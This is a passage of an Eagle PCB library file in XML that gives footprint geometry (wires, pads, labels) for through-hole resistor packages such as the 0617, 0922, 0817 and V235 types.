x1=\"5.842\" y1=\"2.159\" x2=\"6.096\" y2=\"1.905\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.096\" y1=\"-1.905\" x2=\"-6.096\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.842\" y1=\"2.159\" x2=\"-4.953\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"2.032\" x2=\"-4.953\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.842\" y1=\"-2.159\" x2=\"-4.953\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.826\" y1=\"-2.032\" x2=\"-4.953\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"2.032\" x2=\"4.953\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"2.032\" x2=\"-4.826\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"-2.032\" x2=\"4.953\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.826\" y1=\"-2.032\" x2=\"-4.826\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.842\" y1=\"2.159\" x2=\"4.953\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.842\" y1=\"-2.159\" x2=\"4.953\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"-1.905\" x2=\"6.096\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-6.096\" y=\"2.5654\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.318\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"6.096\" y1=\"-0.4064\" x2=\"6.5024\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"-6.5024\" y1=\"-0.4064\" x2=\"-6.096\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"0414V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0414, grid 5 mm</description>\n<wire x1=\"2.54\" y1=\"0\" x2=\"1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-0.381\" y=\"1.1684\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.381\" y=\"-2.3622\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-1.2954\" y1=\"-0.4064\" x2=\"1.2954\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"0617/17\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0617, grid 17.5 mm</description>\n<wire x1=\"-8.89\" y1=\"0\" x2=\"-8.636\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-7.874\" y1=\"3.048\" x2=\"-6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"2.794\" x2=\"-6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.874\" y1=\"-3.048\" x2=\"-6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"-2.794\" x2=\"-6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"2.794\" x2=\"6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"2.794\" x2=\"-6.731\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.794\" x2=\"6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.794\" x2=\"-6.731\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.874\" y1=\"3.048\" x2=\"6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.874\" y1=\"-3.048\" x2=\"6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.255\" y1=\"-2.667\" x2=\"-8.255\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.255\" y1=\"1.016\" x2=\"-8.255\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.255\" y1=\"1.016\" x2=\"-8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"-2.667\" x2=\"8.255\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"1.016\" x2=\"8.255\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.255\" y1=\"1.016\" x2=\"8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"0\" x2=\"8.89\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.255\" y1=\"2.667\" x2=\"-7.874\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"7.874\" y1=\"3.048\" x2=\"8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-8.255\" y1=\"-2.667\" x2=\"-7.874\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"7.874\" y1=\"-3.048\" x2=\"8.255\" y2=\"-2.667\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<pad name=\"1\" x=\"-8.89\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"8.89\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.128\" y=\"3.4544\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-6.096\" y=\"-0.7112\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-8.5344\" y1=\"-0.4064\" x2=\"-8.2296\" y2=\"0.4064\" layer=\"51\"/>\n<rectangle x1=\"8.2296\" y1=\"-0.4064\" x2=\"8.5344\" y2=\"0.4064\" layer=\"51\"/>\n</package>\n<package name=\"0617/22\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0617, grid 22.5 mm</description>\n<wire x1=\"-10.287\" y1=\"0\" x2=\"-11.43\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.255\" y1=\"-2.667\" x2=\"-8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.874\" y1=\"3.048\" x2=\"-6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"2.794\" x2=\"-6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.874\" y1=\"-3.048\" x2=\"-6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"-2.794\" x2=\"-6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"2.794\" x2=\"6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"2.794\" x2=\"-6.731\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.794\" x2=\"6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.794\" x2=\"-6.731\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.874\" y1=\"3.048\" x2=\"6.985\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.874\" y1=\"-3.048\" x2=\"6.985\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"-2.667\" x2=\"8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"11.43\" y1=\"0\" x2=\"10.287\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.255\" y1=\"2.667\" x2=\"-7.874\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-8.255\" y1=\"-2.667\" x2=\"-7.874\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"7.874\" y1=\"3.048\" x2=\"8.255\" y2=\"2.667\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"7.874\" y1=\"-3.048\" x2=\"8.255\" y2=\"-2.667\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<pad name=\"1\" x=\"-11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.255\" y=\"3.4544\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-6.477\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-10.1854\" y1=\"-0.4064\" x2=\"-8.255\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"8.255\" y1=\"-0.4064\" x2=\"10.1854\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"0617V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0617, grid 5 mm</description>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.27\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"0.635\" y=\"1.4224\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0.635\" y=\"-2.6162\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-1.3208\" y1=\"-0.4064\" x2=\"1.3208\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"0922/22\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0922, grid 22.5 mm</description>\n<wire x1=\"11.43\" y1=\"0\" x2=\"10.795\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-11.43\" y1=\"0\" x2=\"-10.795\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-10.16\" y1=\"-4.191\" x2=\"-10.16\" y2=\"4.191\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.779\" y1=\"4.572\" x2=\"-8.89\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.636\" y1=\"4.318\" x2=\"-8.89\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.779\" y1=\"-4.572\" x2=\"-8.89\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.636\" y1=\"-4.318\" x2=\"-8.89\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"4.318\" x2=\"8.89\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"4.318\" x2=\"-8.636\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"-4.318\" x2=\"8.89\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.636\" y1=\"-4.318\" x2=\"-8.636\" y2=\"-4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.779\" y1=\"4.572\" x2=\"8.89\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.779\" y1=\"-4.572\" x2=\"8.89\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.16\" y1=\"-4.191\" x2=\"10.16\" y2=\"4.191\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-10.16\" y1=\"-4.191\" x2=\"-9.779\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-10.16\" y1=\"4.191\" x2=\"-9.779\" y2=\"4.572\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"9.779\" y1=\"-4.572\" x2=\"10.16\" y2=\"-4.191\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"9.779\" y1=\"4.572\" x2=\"10.16\" y2=\"4.191\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-10.16\" y=\"5.1054\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-6.477\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-10.7188\" y1=\"-0.4064\" x2=\"-10.16\" y2=\"0.4064\" layer=\"51\"/>\n<rectangle x1=\"10.16\" y1=\"-0.4064\" x2=\"10.3124\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"-10.3124\" y1=\"-0.4064\" x2=\"-10.16\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"10.16\" y1=\"-0.4064\" x2=\"10.7188\" y2=\"0.4064\" layer=\"51\"/>\n</package>\n<package name=\"P0613V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0613, grid 5 mm</description>\n<wire x1=\"2.54\" y1=\"0\" x2=\"1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-0.254\" y=\"1.143\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.254\" y=\"-2.413\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-1.2954\" y1=\"-0.4064\" x2=\"1.3208\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"P0613/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0613, grid 15 mm</description>\n<wire x1=\"7.62\" y1=\"0\" x2=\"6.985\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.985\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.477\" y1=\"2.032\" x2=\"-6.223\" y2=\"2.286\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.477\" y1=\"-2.032\" x2=\"-6.223\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"6.223\" y1=\"-2.286\" x2=\"6.477\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"6.223\" y1=\"2.286\" x2=\"6.477\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.223\" y1=\"2.286\" x2=\"-5.334\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"2.159\" x2=\"-5.334\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.223\" y1=\"-2.286\" x2=\"-5.334\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"-2.159\" x2=\"-5.334\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"2.159\" x2=\"5.334\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"2.159\" x2=\"-5.207\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"-2.159\" x2=\"5.334\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"-2.159\" x2=\"-5.207\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"2.286\" x2=\"5.334\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.223\" y1=\"-2.286\" x2=\"5.334\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"-0.635\" x2=\"6.477\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"-0.635\" x2=\"6.477\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.477\" y1=\"2.032\" x2=\"6.477\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.477\" y1=\"-2.032\" x2=\"-6.477\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.477\" y1=\"0.635\" x2=\"-6.477\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.477\" y1=\"0.635\" x2=\"-6.477\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-6.477\" y=\"2.6924\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.318\" y=\"-0.7112\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-7.0358\" y1=\"-0.4064\" x2=\"-6.477\" y2=\"0.4064\" layer=\"51\"/>\n<rectangle x1=\"6.477\" y1=\"-0.4064\" x2=\"7.0358\" y2=\"0.4064\" layer=\"51\"/>\n</package>\n<package name=\"P0817/22\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0817, grid 22.5 mm</description>\n<wire x1=\"-10.414\" y1=\"0\" x2=\"-11.43\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.509\" y1=\"-3.429\" x2=\"-8.509\" y2=\"3.429\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.128\" y1=\"3.81\" x2=\"-7.239\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.985\" y1=\"3.556\" x2=\"-7.239\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.128\" y1=\"-3.81\" x2=\"-7.239\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.985\" y1=\"-3.556\" x2=\"-7.239\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"3.556\" x2=\"7.239\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"3.556\" x2=\"-6.985\" y2=\"3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"-3.556\" x2=\"7.239\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"-3.556\" x2=\"-6.985\" y2=\"-3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.128\" y1=\"3.81\" x2=\"7.239\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.128\" y1=\"-3.81\" x2=\"7.239\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"-3.429\" x2=\"8.509\" y2=\"3.429\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"11.43\" y1=\"0\" x2=\"10.414\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.509\" y1=\"3.429\" x2=\"-8.128\" y2=\"3.81\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-8.509\" y1=\"-3.429\" x2=\"-8.128\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"8.128\" y1=\"3.81\" x2=\"8.509\" y2=\"3.429\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"8.128\" y1=\"-3.81\" x2=\"8.509\" y2=\"-3.429\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<pad name=\"1\" x=\"-11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.382\" y=\"4.2164\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-6.223\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<text x=\"6.604\" y=\"-2.2606\" size=\"1.27\" layer=\"51\" ratio=\"10\" rot=\"R90\">0817</text>\n<rectangle x1=\"8.509\" y1=\"-0.4064\" x2=\"10.3124\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"-10.3124\" y1=\"-0.4064\" x2=\"-8.509\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"P0817V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0817, grid 6.35 mm</description>\n<wire x1=\"-3.81\" y1=\"0\" x2=\"-5.08\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-5.08\" y=\"0\" radius=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-5.08\" y=\"0\" radius=\"1.27\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-1.016\" y=\"1.27\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-2.54\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<text x=\"-6.858\" y=\"2.032\" size=\"1.016\" layer=\"21\" ratio=\"12\">0817</text>\n<rectangle x1=\"-3.81\" y1=\"-0.4064\" x2=\"0\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"V234/12\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype V234, grid 12.5 mm</description>\n<wire x1=\"-4.953\" y1=\"1.524\" x2=\"-4.699\" y2=\"1.778\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"1.778\" x2=\"4.953\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"-1.778\" x2=\"4.953\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-4.953\" y1=\"-1.524\" x2=\"-4.699\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-4.699\" y1=\"1.778\" x2=\"4.699\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.953\" y1=\"1.524\" x2=\"-4.953\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-1.778\" x2=\"-4.699\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"1.524\" x2=\"4.953\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"0\" x2=\"5.461\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.461\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-4.953\" y=\"2.159\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.81\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"4.953\" y1=\"-0.4064\" x2=\"5.4102\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"-5.4102\" y1=\"-0.4064\" x2=\"-4.953\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"V235/17\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype V235, grid 17.78 mm</description>\n<wire x1=\"-6.731\" y1=\"2.921\" x2=\"6.731\" y2=\"2.921\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.112\" y1=\"2.54\" x2=\"-7.112\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.921\" x2=\"-6.731\" y2=\"-2.921\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.112\" y1=\"2.54\" x2=\"7.112\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.89\" y1=\"0\" x2=\"7.874\" y2=\"0\" width=\"1.016\" layer=\"51\"/>\n<wire x1=\"-7.874\" y1=\"0\" x2=\"-8.89\" y2=\"0\" width=\"1.016\" layer=\"51\"/>\n<wire x1=\"-7.112\" y1=\"-2.54\" x2=\"-6.731\" y2=\"-2.921\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"6.731\" y1=\"2.921\" x2=\"7.112\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"6.731\" y1=\"-2.921\" x2=\"7.112\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-7.112\" y1=\"2.54\" x2=\"-6.731\" y2=\"2.921\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-8.89\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"8.89\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-6.858\" y=\"3.302\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.842\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"7.112\" y1=\"-0.508\" x2=\"7.747\" y2=\"0.508\" layer=\"21\"/>\n<rectangle x1=\"-7.747\" y1=\"-0.508\" x2=\"-7.112\" y2=\"0.508\" layer=\"21\"/>\n</package>\n<package name=\"V526-0\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype V526-0, grid 2.5 mm</description>\n<wire x1=\"-2.54\" y1=\"1.016\" x2=\"-2.286\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" 